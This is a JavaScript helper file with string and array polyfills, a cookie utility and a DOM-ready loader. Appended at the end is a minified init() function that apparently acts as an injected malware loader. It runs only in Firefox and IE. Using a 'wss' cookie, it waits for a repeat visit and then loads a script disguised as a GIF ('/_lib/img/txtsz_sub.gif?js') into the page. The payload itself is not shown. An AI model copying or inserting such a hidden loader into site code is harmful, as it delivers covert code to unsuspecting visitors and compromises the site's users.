
if (typeof (String.prototype.ltrim)	=== "undefined")	{ String.prototype.ltrim = function (chars) { return this.replace (new RegExp ("^[" + (chars || "\\s") + "]+",  "g"), "");	}; }
if (typeof (String.prototype.rtrim)	=== "undefined")	{ String.prototype.rtrim = function (chars) { return this.replace (new RegExp ( "[" + (chars || "\\s") + "]+$", "g"), "");	}; }
if (typeof (String.prototype.trim)	=== "undefined")	{ String.prototype.trim  = function (chars) { return this.ltrim (chars).rtrim (chars);					}; }

if (typeof (Array.prototype.indexOf)	=== "undefined")
{
	Array.prototype.indexOf	= function (v, b, s)
	{
		for (var x = +b || 0, l = this.length; x < l; x++)
			if (this[x] === v || s && this[x] == v)
				return x;
		return -1;
	};
}


// Make cookies easier to deal with
var CookieJar =
{
	set: function (name, value, days)
	{
		var expires = "";

		if (days)
		{
			var date = new Date ();
			date.setTime (date.getTime () + (days * 86400000));
			expires = "; expires=" + date.toGMTString ();
		}

		document.cookie = name + "=" + value + expires + "; path=/";
	},

	get: function (name)
	{
		var ca		= document.cookie.split (";");

		for (var i = ca.length; i--; )
		{
			var c = ca[i].trim ().split ("=");
			if (c[0] == name) return c[1];
		}

		return null;
	},

	clr: function (name)
	{
		this.set (name, "", -1);
	}
};


// Sourced from http://www.cherny.com/webdev/27/domloaded-updated-again
var DomLoaded =
{
	onload: [],

	loaded: function ()
	{
		if (arguments.callee.done) return;
		arguments.callee.done = true;
		for (var x = DomLoaded.onload.length; x--; )		//for (var x = 0; x < DomLoaded.onload.length; x++)
			DomLoaded.onload[x] ();
	},

	load: function (fireThis)
	{
		this.onload.unshift (fireThis);				//this.onload.push (fireThis);

		if (document.addEventListener)
			document.addEventListener ("DOMContentLoaded", DomLoaded.loaded, null);

		if (/KHTML|WebKit/i.test (navigator.userAgent))
		{
			var _timer = setInterval (function ()
			{
				if (/loaded|complete/.test (document.readyState))
				{
					clearInterval (_timer);
					delete _timer;
					DomLoaded.loaded ();
				}
			}, 10);
		}

/*@cc_on @*/
/*@if (@_win32)
		var proto = "src='javascript:void (0)'";
		if (location.protocol == "https:") proto = "src=//0";
		document.write ("<scr" + "ipt id=__ie_onload defer " + proto + "><\/scr" + "ipt>");
		document.getElementById ("__ie_onload").onreadystatechange = function ()
		{
			if (this.readyState == "complete")
			{
				DomLoaded.loaded ();
			}
		};
/*@end @*/

		window.onload = DomLoaded.loaded;
	}
};


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/_lib/img/txtsz_sub.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
